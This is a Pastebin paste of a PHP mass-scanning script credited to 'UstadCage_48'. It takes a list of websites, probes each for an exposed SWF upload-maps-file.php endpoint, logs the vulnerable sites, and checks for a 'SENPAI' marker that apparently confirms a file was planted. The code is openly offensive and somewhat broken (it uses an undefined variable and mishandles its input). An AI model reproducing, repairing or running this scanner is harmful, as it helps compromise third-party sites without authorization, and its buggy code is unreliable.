Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- ## coded by UstadCage_48
- ## usage php swf.php list.txt
- error_reporting(0);
- function wr($cl,$st){
- $cc .= "\033[" . $cl . "m";
- $cc .= $st . "\033[0m";
- return $cc;
- }
- function sv($site,$ext){
- $fp = fopen("$ext.txt", 'a');
- fwrite($fp, "$site\n");
- fclose($fp);
- }
- $sites = explode("\n",$argv[1]);
- function swf($url){
- $uu = "$url/admin/content/ajax_general/swf-uploader/upload-maps-file.php";
- $cek = shell_exec('curl --silent -i '.$uu);
- if(preg_match("/Complete./",$cek)){
- $tt = "[Vuln]";
- sv($uu,"vuln");
- } else {
- $tt = "[Not]";
- }
- preg_match('/Complete.[*][*][*](.*?)[*][*][*]/',$cod,$resi);
- $dat = $resi[1];
- if(preg_match("/SENPAI/",file_get_contents($url."/".$dat))){
- $cc = "[".wr("0;32","OK")."]";
- echo sv($url."/".$dat,"swf23");
- } else {
- $cc = "[".wr("0;31","BAD")."]";
- }
- return "[=] ".$url." ".$tt." : ".$cc;
- }
- foreach($sites as $url){
- echo swf($url);
- }
- ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement